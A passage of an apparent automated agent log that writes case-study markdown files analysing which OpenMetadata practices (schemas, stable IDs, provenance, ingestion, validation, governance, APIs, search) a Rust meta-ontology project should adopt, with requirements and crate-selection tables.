[`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\n[2026-07-12T04:06:07.390Z] [INFO] +| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\n[2026-07-12T04:06:07.390Z] [INFO] +| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\n[2026-07-12T04:06:07.390Z] [INFO] +| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\n[2026-07-12T04:06:07.390Z] [INFO] +| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Reproducibility notes\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Documentation versions are included in URLs where the official site exposed a\n[2026-07-12T04:06:07.390Z] [INFO] +  stable version. `latest` links should be rechecked before implementation.\n[2026-07-12T04:06:07.390Z] [INFO] +- The compact JSON snapshots record mutable facts. Full upstream repository\n[2026-07-12T04:06:07.390Z] [INFO] +  contents are not vendored because that would add millions of unrelated files\n[2026-07-12T04:06:07.390Z] [INFO] +  and create licensing/update noise.\n[2026-07-12T04:06:07.390Z] [INFO] +- Recommendations are reasoned adaptations to the current repository; they are\n[2026-07-12T04:06:07.390Z] [INFO] +  not claims that OpenMetadata implements the exact proposed Rust design.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Context and limits\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata solves enterprise metadata discovery, ingestion, governance,\n[2026-07-12T04:06:07.390Z] [INFO] +lineage, quality, and collaboration. Meta-ontology currently loads a small lino\n[2026-07-12T04:06:07.390Z] [INFO] +graph into an in-memory Rust library and exposes it through a CLI. Their shared\n[2026-07-12T04:06:07.390Z] [INFO] +domain is metadata graphs; their scale, product scope, and operational needs are\n[2026-07-12T04:06:07.390Z] [INFO] +not comparable.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Accordingly, this analysis extracts invariants and interfaces. It rejects\n[2026-07-12T04:06:07.390Z] [INFO] +technology copying where the problem is absent.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 1. Canonical schema as the center of the system\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata defines entities and types in language-neutral schemas and derives\n[2026-07-12T04:06:07.390Z] [INFO] +models used by server, ingestion, and UI layers. This prevents three subtly\n[2026-07-12T04:06:07.390Z] [INFO] +different definitions of the same entity.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Meta-ontology already has Rust structs plus conventions embedded in lino. The\n[2026-07-12T04:06:07.390Z] [INFO] +risk is that conventions such as tuple position, mapping kind, language, or\n[2026-07-12T04:06:07.390Z] [INFO] +definition source evolve without a machine-checkable contract.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Declare a `schema_version` for the dataset and interchange representation.\n[2026-07-12T04:06:07.390Z] [INFO] +- Keep one authoritative Rust domain model.\n[2026-07-12T04:06:07.390Z] [INFO] +- Derive a JSON Schema interchange contract from it, or check a hand-maintained\n[2026-07-12T04:06:07.390Z] [INFO] +  schema against generated fixtures.\n[2026-07-12T04:06:07.390Z] [INFO] +- Validate lino-to-model normalization independently of parser success.\n[2026-07-12T04:06:07.390Z] [INFO] +- Reject unknown fields only at stable boundaries; provide migrations when a\n[2026-07-12T04:06:07.390Z] [INFO] +  stored format changes.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +JSON is an interchange format here, not a replacement for Links Notation.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 2. Identity, names, and references\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Metadata systems must distinguish machine identity, fully qualified names,\n[2026-07-12T04:06:07.390Z] [INFO] +display names, and aliases. A graph that uses a mutable label as identity makes\n[2026-07-12T04:06:07.390Z] [INFO] +rename operations destructive.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\n[2026-07-12T04:06:07.390Z] [INFO] +normalization, alias, deprecation, and redirect rules. A mapping or definition\n[2026-07-12T04:06:07.390Z] [INFO] +references the ID; CLI lookup may accept a canonical name or alias. Initially,\n[2026-07-12T04:06:07.390Z] [INFO] +IDs can be explicitly stored strings. UUIDs are useful only if decentralized\n[2026-07-12T04:06:07.390Z] [INFO] +creation makes coordinated human-readable IDs unsafe.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Required invariants\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- IDs are unique and immutable.\n[2026-07-12T04:06:07.390Z] [INFO] +- A canonical name is unique within its namespace and language rules.\n[2026-07-12T04:06:07.390Z] [INFO] +- Every edge endpoint resolves.\n[2026-07-12T04:06:07.390Z] [INFO] +- Alias chains terminate and cannot fork ambiguously.\n[2026-07-12T04:06:07.390Z] [INFO] +- Removing a referenced concept requires an explicit migration or tombstone.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 3. Typed relationships and graph integrity\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata treats lineage, ownership, classification, glossary association,\n[2026-07-12T04:06:07.390Z] [INFO] +and containment as relationships with meaning, rather than arbitrary strings.\n[2026-07-12T04:06:07.390Z] [INFO] +Meta-ontology needs the same discipline on a much smaller scale.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Define a relation registry containing at least:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- relation ID and canonical name;\n[2026-07-12T04:06:07.390Z] [INFO] +- source and target concept categories;\n[2026-07-12T04:06:07.390Z] [INFO] +- cardinality;\n[2026-07-12T04:06:07.390Z] [INFO] +- inverse, symmetry, and transitivity declarations where meaningful;\n[2026-07-12T04:06:07.390Z] [INFO] +- lifecycle state and provenance.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Do not infer logical properties from English labels. Validation should report\n[2026-07-12T04:06:07.390Z] [INFO] +the source file and record for dangling endpoints, invalid cardinality, and\n[2026-07-12T04:06:07.390Z] [INFO] +forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\n[2026-07-12T04:06:07.390Z] [INFO] +graph\u2014but selected acyclic relations such as alias redirects can be checked.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 4. Provenance, versioning, and change events\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata preserves entity versions and uses source fingerprints to avoid\n[2026-07-12T04:06:07.390Z] [INFO] +unnecessary ingestion updates. Both ideas transfer well.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Each imported assertion should be able to carry:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- source URI or source document;\n[2026-07-12T04:06:07.390Z] [INFO] +- source record/version and retrieval time;\n[2026-07-12T04:06:07.390Z] [INFO] +- creating agent (human, connector, or migration);\n[2026-07-12T04:06:07.390Z] [INFO] +- confidence or review state when the assertion is inferred;\n[2026-07-12T04:06:07.390Z] [INFO] +- license/usage note for externally sourced descriptions;\n[2026-07-12T04:06:07.390Z] [INFO] +- deterministic content fingerprint.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The loader can compare fingerprints and produce `Created`, `Updated`,\n[2026-07-12T04:06:07.390Z] [INFO] +`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\n[2026-07-12T04:06:07.390Z] [INFO] +JSON written by an explicit command. A database event table, webhook, or broker\n[2026-07-12T04:06:07.390Z] [INFO] +is unnecessary until another process consumes events.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +This also supports reproducible case studies: a claim can point to its source\n[2026-07-12T04:06:07.390Z] [INFO] +and the exact import decision.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 5. Ingestion as a normalized pipeline\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata connector code separates source extraction from normalized entity\n[2026-07-12T04:06:07.390Z] [INFO] +publication and uses a declarative topology for parent/child traversal.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Use small Rust interfaces:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +```text\n[2026-07-12T04:06:07.390Z] [INFO] +Source -> RawRecord -> Normalizer -> CandidateAssertion\n[2026-07-12T04:06:07.390Z] [INFO] +       -> Validator -> OntologyChange -> Sink/Report\n[2026-07-12T04:06:07.390Z] [INFO] +```\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The first implementation should be a fixture connector, not a large catalog.\n[2026-07-12T04:06:07.390Z] [INFO] +It must demonstrate discovery, normalization, dry-run, idempotency,\n[2026-07-12T04:06:07.390Z] [INFO] +checkpointing, structured errors, provenance, and a second unchanged run.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Connector capability declarations should state which entity/relation kinds are\n[2026-07-12T04:06:07.390Z] [INFO] +supported. Configuration must be typed, secrets must not appear in reports, and\n[2026-07-12T04:06:07.390Z] [INFO] +partial failures must not silently create a partially valid graph.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 6. Layered quality and observability\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata separates reusable test definitions, applications of those tests,\n[2026-07-12T04:06:07.390Z] [INFO] +suites, executions, and results. Meta-ontology can adopt that conceptual model\n[2026-07-12T04:06:07.390Z] [INFO] +without building a scheduler or UI.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Layers\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. **Syntax:** lino parses.\n[2026-07-12T04:06:07.390Z] [INFO] +2. **Shape:** records conform to the versioned model.\n[2026-07-12T04:06:07.390Z] [INFO] +3. **Referential integrity:** IDs and relation endpoints resolve.\n[2026-07-12T04:06:07.390Z] [INFO] +4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\n[2026-07-12T04:06:07.390Z] [INFO] +   required definition/language coverage.\n[2026-07-12T04:06:07.390Z] [INFO] +5. **Quality policy:** provenance, ownership, review status, mapping coverage,\n[2026-07-12T04:06:07.390Z] [INFO] +   duplicate/suspicious definitions.\n[2026-07-12T04:06:07.390Z] [INFO] +6. **Repository policy:** files format, tests pass, word coverage, size limits.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Return stable diagnostic codes with file/record locations. Produce a JSON report\n[2026-07-12T04:06:07.390Z] [INFO] +for CI in addition to human output. Trend history and alert routing should wait\n[2026-07-12T04:06:07.390Z] [INFO] +until repeated scheduled validation exists.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 7. Governance belongs in the model\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata models ownership, glossaries, classifications, domains, policies,\n[2026-07-12T04:06:07.390Z] [INFO] +and lifecycle status. For meta-ontology, the immediate value is accountability\n[2026-07-12T04:06:07.390Z] [INFO] +and explainability, not enterprise access control.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Adaptation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Add optional owner/steward references at dataset, namespace, and concept level.\n[2026-07-12T04:06:07.390Z] [INFO] +- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\n[2026-07-12T04:06:07.390Z] [INFO] +- Separate descriptive classification from security policy.\n[2026-07-12T04:06:07.390Z] [INFO] +- Let policies refer to metadata attributes so the future service can evaluate\n[2026-07-12T04:06:07.390Z] [INFO] +  actor + resource + operation.\n[2026-07-12T04:06:07.390Z] [INFO] +- Record review decisions as provenance rather than overwriting history.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Authentication and authorization enforcement belongs at the future HTTP/API\n[2026-07-12T04:06:07.390Z] [INFO] +boundary. The library should expose policy-relevant attributes without deciding\n[2026-07-12T04:06:07.390Z] [INFO] +who the current user is.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 8. API and client boundaries\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata's schema-first REST API demonstrates the value of consistent\n[2026-07-12T04:06:07.390Z] [INFO] +resource naming and shared types. Meta-ontology's M3 service should not expose\n[2026-07-12T04:06:07.390Z] [INFO] +internal loader structs directly.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Proposed resources\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/relations` and graph traversal endpoints;\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/definitions`, `/mappings`, and `/languages`;\n[2026-07-12T04:06:07.390Z] [INFO] +- `/api/v1/validation-runs` and `/changes`;\n[2026-07-12T04:06:07.390Z] [INFO] +- explicit import/export endpoints with dry-run support.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Use cursor pagination, sparse field selection only when needed, structured\n[2026-07-12T04:06:07.390Z] [INFO] +errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\n[2026-07-12T04:06:07.390Z] [INFO] +Patch until partial updates and conflict semantics are fully specified.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 9. Search and discovery\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\n[2026-07-12T04:06:07.390Z] [INFO] +catalog. The current ontology can search normalized in-memory fields.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Define a `SearchIndex` interface only after search semantics are specified:\n[2026-07-12T04:06:07.390Z] [INFO] +exact ID/name, alias, language-aware text, relation filters, and ranking. A\n[2026-07-12T04:06:07.390Z] [INFO] +linear implementation is the correct baseline. Tantivy is a plausible embedded\n[2026-07-12T04:06:07.390Z] [INFO] +step if benchmarks show a need; an external cluster is not.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## 10. Security and operations\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata documents authentication, authorization, secrets, upgrades,\n[2026-07-12T04:06:07.390Z] [INFO] +backups, and production deployment. These are reminders that a service boundary\n[2026-07-12T04:06:07.390Z] [INFO] +creates obligations.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Before M3 is production-ready, specify:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- read-only versus mutation endpoints;\n[2026-07-12T04:06:07.390Z] [INFO] +- authentication and authorization model;\n[2026-07-12T04:06:07.390Z] [INFO] +- request limits and payload limits;\n[2026-07-12T04:06:07.390Z] [INFO] +- secret handling for connectors;\n[2026-07-12T04:06:07.390Z] [INFO] +- audit/change retention;\n[2026-07-12T04:06:07.390Z] [INFO] +- schema/data migration and backup/restore procedures;\n[2026-07-12T04:06:07.390Z] [INFO] +- health, readiness, metrics, and structured logging;\n[2026-07-12T04:06:07.390Z] [INFO] +- threat tests for malformed graphs and expensive traversal.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +None of this requires adopting OpenMetadata's deployment topology today.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Risks and countermeasures\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Risk | Countermeasure |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\n[2026-07-12T04:06:07.390Z] [INFO] +| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\n[2026-07-12T04:06:07.390Z] [INFO] +| Breaking old datasets | Version schemas and test migration fixtures |\n[2026-07-12T04:06:07.390Z] [INFO] +| Mutable names break links | Introduce stable IDs before importers or APIs |\n[2026-07-12T04:06:07.390Z] [INFO] +| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\n[2026-07-12T04:06:07.390Z] [INFO] +| Unverifiable external claims | Require provenance and license metadata |\n[2026-07-12T04:06:07.390Z] [INFO] +| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\n[2026-07-12T04:06:07.390Z] [INFO] +| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\n[2026-07-12T04:06:07.390Z] [INFO] +| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\n[2026-07-12T04:06:07.390Z] [INFO] +| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Recommended outcome\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\n[2026-07-12T04:06:07.390Z] [INFO] +service APIs, governance, versioning, quality, and clients describe the same\n[2026-07-12T04:06:07.390Z] [INFO] +entities. Meta-ontology should build that coherence in-process first. A clean\n[2026-07-12T04:06:07.390Z] [INFO] +modular monolith can later move selected interfaces across process boundaries\n[2026-07-12T04:06:07.390Z] [INFO] +without redesigning the ontology.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Requirements, Solutions, and Implementation Plan\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Requirement derivation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Issue 5 names OpenMetadata in its title and uses the repository's standard case\n[2026-07-12T04:06:07.390Z] [INFO] +study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\n[2026-07-12T04:06:07.390Z] [INFO] +by \u201cuse best practices\u201d and by making the output reviewable and actionable.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Complete requirement list\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| ID | Requirement | Evidence | Delivered here |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\n[2026-07-12T04:06:07.390Z] [INFO] +| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\n[2026-07-12T04:06:07.390Z] [INFO] +| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\n[2026-07-12T04:06:07.390Z] [INFO] +| R4 | List every requirement from the issue | Issue body | This table |\n[2026-07-12T04:06:07.390Z] [INFO] +| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\n[2026-07-12T04:06:07.390Z] [INFO] +| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\n[2026-07-12T04:06:07.390Z] [INFO] +| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\n[2026-07-12T04:06:07.390Z] [INFO] +| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\n[2026-07-12T04:06:07.390Z] [INFO] +| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\n[2026-07-12T04:06:07.390Z] [INFO] +| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Solutions by requirement\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R1: collect data\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Options:** vendor the upstream repository; save complete API dumps; or preserve\n[2026-07-12T04:06:07.390Z] [INFO] +a curated, time-stamped evidence set with primary links.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\n[2026-07-12T04:06:07.390Z] [INFO] +repository would be noisy and stale quickly. Full GitHub API payloads contain\n[2026-07-12T04:06:07.390Z] [INFO] +mostly transport metadata. The snapshots preserve the mutable facts needed to\n[2026-07-12T04:06:07.390Z] [INFO] +reproduce this analysis, while the inventory points to exact upstream areas.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** every local artifact named in the case-study README exists;\n[2026-07-12T04:06:07.390Z] [INFO] +mutable observations include an observation date; empty comment/review streams\n[2026-07-12T04:06:07.390Z] [INFO] +are recorded.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R2 and R7: deep analysis of applicable practices\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Options:** feature checklist, technology-stack comparison, or domain-boundary\n[2026-07-12T04:06:07.390Z] [INFO] +analysis.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** domain-boundary analysis. It explains how schema, identity,\n[2026-07-12T04:06:07.390Z] [INFO] +relationships, provenance, ingestion, validation, governance, API, search, and\n[2026-07-12T04:06:07.390Z] [INFO] +operations affect this repository and explicitly states what not to copy.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** each practice has current-state context, an adaptation, and\n[2026-07-12T04:06:07.390Z] [INFO] +either an implementation slice or a deferral criterion.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R3: online research\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Options:** secondary articles, current official docs, or source-only review.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** combine official versioned documentation with the upstream source\n[2026-07-12T04:06:07.390Z] [INFO] +tree and recognized standards. This gives design explanation plus inspectable\n[2026-07-12T04:06:07.390Z] [INFO] +implementation boundaries. Secondary claims are unnecessary.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** sources are primary, linked, access-dated, and separated from\n[2026-07-12T04:06:07.390Z] [INFO] +recommendations. Time-sensitive facts are not treated as permanent.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R4: enumerate requirements\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** assign stable IDs to explicit and implied requirements. This avoids\n[2026-07-12T04:06:07.390Z] [INFO] +mistaking a long architectural summary for issue completion.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** every phrase in the issue body maps to R1-R6; the title's\n[2026-07-12T04:06:07.390Z] [INFO] +\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R5: solutions and plans\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** use thin vertical slices, each ending in data fixtures, library\n[2026-07-12T04:06:07.390Z] [INFO] +behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Verification:** the phased plan below has dependencies, acceptance criteria,\n[2026-07-12T04:06:07.390Z] [INFO] +and stop/go gates.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R6: components and libraries\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** prefer standards and focused Rust crates over an OpenMetadata\n[2026-07-12T04:06:07.390Z] [INFO] +runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\n[2026-07-12T04:06:07.390Z] [INFO] +or a purpose-built connector.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Capability | Build/adopt decision | Candidate |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Typed serialization | Adopt | `serde` |\n[2026-07-12T04:06:07.390Z] [INFO] +| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\n[2026-07-12T04:06:07.390Z] [INFO] +| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\n[2026-07-12T04:06:07.390Z] [INFO] +| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\n[2026-07-12T04:06:07.390Z] [INFO] +| Provenance vocabulary | Map internal provenance fields | PROV-O |\n[2026-07-12T04:06:07.390Z] [INFO] +| Constraint exchange | Export selected rules later | SHACL |\n[2026-07-12T04:06:07.390Z] [INFO] +| HTTP API | Use existing roadmap selection | `axum` |\n[2026-07-12T04:06:07.390Z] [INFO] +| OpenAPI | Generate from endpoint/model types | `utoipa` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Search | Linear baseline, then benchmark embedded option | `tantivy` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\n[2026-07-12T04:06:07.390Z] [INFO] +and dependency footprint when their slice begins. Listing one is not approval to\n[2026-07-12T04:06:07.390Z] [INFO] +add it.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R8: control complexity\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** use decision gates:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- no database until persistence, concurrency, or corpus size requires it;\n[2026-07-12T04:06:07.390Z] [INFO] +- no search service until a benchmark fails an agreed latency 